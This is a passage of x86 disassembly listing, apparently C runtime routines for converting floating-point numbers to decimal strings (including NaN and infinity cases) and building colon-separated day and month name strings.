mov [ebp+var_21], cl
loc_42D386: ; CODE XREF: sub_42CB40+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_42D39F: ; CODE XREF: sub_42CB40+832j
cmp [ebp+var_70], 0
jbe loc_42D47A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42D3BD
; ---------------------------------------------------------------------------
loc_42D3B4: ; CODE XREF: sub_42CB40+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_42D3BD: ; CODE XREF: sub_42CB40+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42D3DB
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
jmp short loc_42D3B4
; ---------------------------------------------------------------------------
loc_42D3DB: ; CODE XREF: sub_42CB40+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42CA00
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_42D3FD
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_42D3FD: ; CODE XREF: sub_42CB40+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
cmp [ebp+var_18], 0
jnz short loc_42D415
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_42D415: ; CODE XREF: sub_42CB40+8CAj
cmp [ebp+var_C], 0
jnz short loc_42D424
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_42D424: ; CODE XREF: sub_42CB40+8D9j
cmp [ebp+var_14], 1450h
jle short loc_42D436
mov [ebp+var_40], 1
jmp short loc_42D478
; ---------------------------------------------------------------------------
loc_42D436: ; CODE XREF: sub_42CB40+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_42D448
mov [ebp+var_78], 1
jmp short loc_42D478
; ---------------------------------------------------------------------------
loc_42D448: ; CODE XREF: sub_42CB40+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_42FDD0
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_42D478: ; CODE XREF: sub_42CB40+8F4j
; sub_42CB40+906j
jmp short loc_42D497
; ---------------------------------------------------------------------------
loc_42D47A: ; CODE XREF: sub_42CB40+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_42D497: ; CODE XREF: sub_42CB40+814j
; sub_42CB40+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_42D4C6
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_42D51D
; ---------------------------------------------------------------------------
loc_42D4C6: ; CODE XREF: sub_42CB40+95Bj
cmp [ebp+var_40], 0
jz short loc_42D4F1
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_42D51D
; ---------------------------------------------------------------------------
loc_42D4F1: ; CODE XREF: sub_42CB40+98Aj
cmp [ebp+var_78], 0
jz short loc_42D51D
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_42D51D: ; CODE XREF: sub_42CB40+984j
; sub_42CB40+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_42CB40 endp
; ---------------------------------------------------------------------------
off_42D55A dd offset loc_42CC1C ; DATA XREF: sub_42CB40+D5r
dd offset loc_42CCBA
dd offset loc_42CD70
dd offset loc_42CDDB
dd offset loc_42CEF3
dd offset loc_42D025
dd offset loc_42D09B
dd offset loc_42D180
dd offset loc_42D122
dd offset loc_42D1D3
dd offset loc_42D343
dd offset loc_42D2DF
off_42D58A dd offset loc_42CD49 ; DATA XREF: sub_42CB40+1F0r
dd offset loc_42CD37
dd offset loc_42CD40
dd offset loc_42CD5B
byte_42D59A db 0 ; DATA XREF: sub_42CB40+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_42D5D5 dd offset loc_42CECC ; DATA XREF: sub_42CB40+37Cr
dd offset loc_42CEC3
dd offset loc_42CEDE
byte_42D5E1 db 0 ; DATA XREF: sub_42CB40+376r
dw 2
dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h
off_42D61C dd offset loc_42CFFE ; DATA XREF: sub_42CB40+4AEr
dd offset loc_42CFF5
dd offset loc_42D010
byte_42D628 db 0 ; DATA XREF: sub_42CB40+4A8r
db 2, 0, 2
dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h
dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_42CB40
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_429300
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_42D6B8
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_42D6B8: ; CODE XREF: .text:0042D6AEj
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D6C0 proc near ; CODE XREF: sub_429580+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_42D75E
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_42D765
; ---------------------------------------------------------------------------
loc_42D75E: ; CODE XREF: sub_42D6C0+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_42D765: ; CODE XREF: sub_42D6C0+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_42D7AC
cmp [ebp+var_24], 0
jnz short loc_42D7AC
cmp [ebp+var_48], 0
jnz short loc_42D7AC
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_42DBD2
; ---------------------------------------------------------------------------
loc_42D7AC: ; CODE XREF: sub_42D6C0+B0j
; sub_42D6C0+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_42D8A6
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_42D7D8
cmp [ebp+var_48], 0
jz short loc_42D80C
loc_42D7D8: ; CODE XREF: sub_42D6C0+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_42D80C
push offset a1Snan ; "1#SNAN"
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_419FA0
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_42D8A1
; ---------------------------------------------------------------------------
loc_42D80C: ; CODE XREF: sub_42D6C0+116j
; sub_42D6C0+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_42D84C
cmp [ebp+var_24], 0C0000000h
jnz short loc_42D84C
cmp [ebp+var_48], 0
jnz short loc_42D84C
push offset a1Ind ; "1#IND"
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_419FA0
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_42D8A1
; ---------------------------------------------------------------------------
loc_42D84C: ; CODE XREF: sub_42D6C0+157j
; sub_42D6C0+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_42D87F
cmp [ebp+var_48], 0
jnz short loc_42D87F
push offset a1Inf ; "1#INF"
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_419FA0
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_42D8A1
; ---------------------------------------------------------------------------
loc_42D87F: ; CODE XREF: sub_42D6C0+193j
; sub_42D6C0+199j
push offset a1Qnan ; "1#QNAN"
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_419FA0
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_42D8A1: ; CODE XREF: sub_42D6C0+147j
; sub_42D6C0+18Aj ...
jmp loc_42DBCF
; ---------------------------------------------------------------------------
loc_42D8A6: ; CODE XREF: sub_42D6C0+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_42FDD0
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_42D97D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_42F990
add esp, 8
loc_42D97D: ; CODE XREF: sub_42D6C0+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_42D9D1
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_42D9D1
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_42DBD2
; ---------------------------------------------------------------------------
loc_42D9D1: ; CODE XREF: sub_42D6C0+2CFj
; sub_42D6C0+2E1j
cmp [ebp+arg_C], 15h
jle short loc_42D9DE
mov [ebp+arg_C], 15h
loc_42D9DE: ; CODE XREF: sub_42D6C0+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_42DA06
; ---------------------------------------------------------------------------
loc_42D9FD: ; CODE XREF: sub_42D6C0+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_42DA06: ; CODE XREF: sub_42D6C0+33Bj
cmp [ebp+var_44], 8
jge short loc_42DA1A
lea edx, [ebp+var_38]
push edx
call sub_42C930
add esp, 4
jmp short loc_42D9FD
; ---------------------------------------------------------------------------
loc_42DA1A: ; CODE XREF: sub_42D6C0+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_42DA4C
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_42DA38
; ---------------------------------------------------------------------------
loc_42DA2F: ; CODE XREF: sub_42D6C0+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_42DA38: ; CODE XREF: sub_42D6C0+36Dj
cmp [ebp+var_74], 0
jle short loc_42DA4C
lea edx, [ebp+var_38]
push edx
call sub_42C990
add esp, 4
jmp short loc_42DA2F
; ---------------------------------------------------------------------------
loc_42DA4C: ; CODE XREF: sub_42D6C0+35Ej
; sub_42D6C0+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_42DA69
; ---------------------------------------------------------------------------
loc_42DA60: ; CODE XREF: sub_42D6C0+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_42DA69: ; CODE XREF: sub_42D6C0+39Ej
cmp [ebp+var_10], 0
jle short loc_42DAD5
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_42C930
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_42C930
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42C880
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_42C930
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_42DA60
; ---------------------------------------------------------------------------
loc_42DAD5: ; CODE XREF: sub_42D6C0+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_42DB53
jmp short loc_42DB03
; ---------------------------------------------------------------------------
loc_42DAFA: ; CODE XREF: sub_42D6C0+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42DB03: ; CODE XREF: sub_42D6C0+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_42DB21
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42DB21
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_42DAFA
; ---------------------------------------------------------------------------
loc_42DB21: ; CODE XREF: sub_42D6C0+44Cj
; sub_42D6C0+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42DB45
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_42DB45: ; CODE XREF: sub_42D6C0+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_42DBAC
; ---------------------------------------------------------------------------
loc_42DB53: ; CODE XREF: sub_42D6C0+436j
jmp short loc_42DB5E
; ---------------------------------------------------------------------------
loc_42DB55: ; CODE XREF: sub_42D6C0+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42DB5E: ; CODE XREF: sub_42D6C0:loc_42DB53j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_42DB76
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_42DB76
jmp short loc_42DB55
; ---------------------------------------------------------------------------
loc_42DB76: ; CODE XREF: sub_42D6C0+4A7j
; sub_42D6C0+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42DBAC
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_42DBD2
; ---------------------------------------------------------------------------
loc_42DBAC: ; CODE XREF: sub_42D6C0+491j
; sub_42D6C0+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_42DBCF: ; CODE XREF: sub_42D6C0:loc_42D8A1j
mov eax, [ebp+var_58]
loc_42DBD2: ; CODE XREF: sub_42D6C0+E7j
; sub_42D6C0+30Cj ...
mov esp, ebp
pop ebp
retn
sub_42D6C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_443FE4
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42DC08
; ---------------------------------------------------------------------------
loc_42DBFF: ; CODE XREF: .text:0042DC3Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42DC08: ; CODE XREF: .text:0042DBFDj
cmp dword ptr [ebp-10h], 7
jnb short loc_42DC41
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_418E70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_418E70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42DBFF
; ---------------------------------------------------------------------------
loc_42DC41: ; CODE XREF: .text:0042DC0Cj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_416A10
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42DCF9
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42DC75
; ---------------------------------------------------------------------------
loc_42DC6C: ; CODE XREF: .text:0042DCE8j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42DC75: ; CODE XREF: .text:0042DC6Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_42DCEA
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42DC6C
; ---------------------------------------------------------------------------
loc_42DCEA: ; CODE XREF: .text:0042DC79j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42DCF9: ; CODE XREF: .text:0042DC57j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_443FE4
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42DD38
; ---------------------------------------------------------------------------
loc_42DD2F: ; CODE XREF: .text:0042DD70j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42DD38: ; CODE XREF: .text:0042DD2Dj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42DD72
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_418E70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_418E70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42DD2F
; ---------------------------------------------------------------------------
loc_42DD72: ; CODE XREF: .text:0042DD3Cj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_416A10
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42DE2B
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42DDA6
; ---------------------------------------------------------------------------
loc_42DD9D: ; CODE XREF: .text:0042DE1Aj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42DDA6: ; CODE XREF: .text:0042DD9Bj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42DE1C
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42DD9D
; ---------------------------------------------------------------------------
loc_42DE1C: ; CODE XREF: .text:0042DDAAj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42DE2B: ; CODE XREF: .text:0042DD88j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, off_443FE4
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42DE68
; ---------------------------------------------------------------------------
loc_42DE5F: ; CODE XREF: .text:0042DE9Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42DE68: ; CODE XREF: .text:0042DE5Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_42DEA1
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_418E70
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_418E70
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42DE5F
; ---------------------------------------------------------------------------
loc_42DEA1: ; CODE XREF: .text:0042DE6Cj
mov dword ptr [ebp-10h], 0
jmp short loc_42DEB3
; ---------------------------------------------------------------------------
loc_42DEAA: ; CODE XREF: .text:0042DEEBj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42DEB3: ; CODE XREF: .text:0042DEA8j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42DEED
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_418E70
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_418E70
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_42DEAA
; ---------------------------------------------------------------------------
loc_42DEED: ; CODE XREF: .text:0042DEB7j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_418E70
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_418E70
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_418E70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_418E70
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_418E70
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_416A10
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42E1A6
mov ecx, [ebp-4]
mov [ebp-18h], ecx
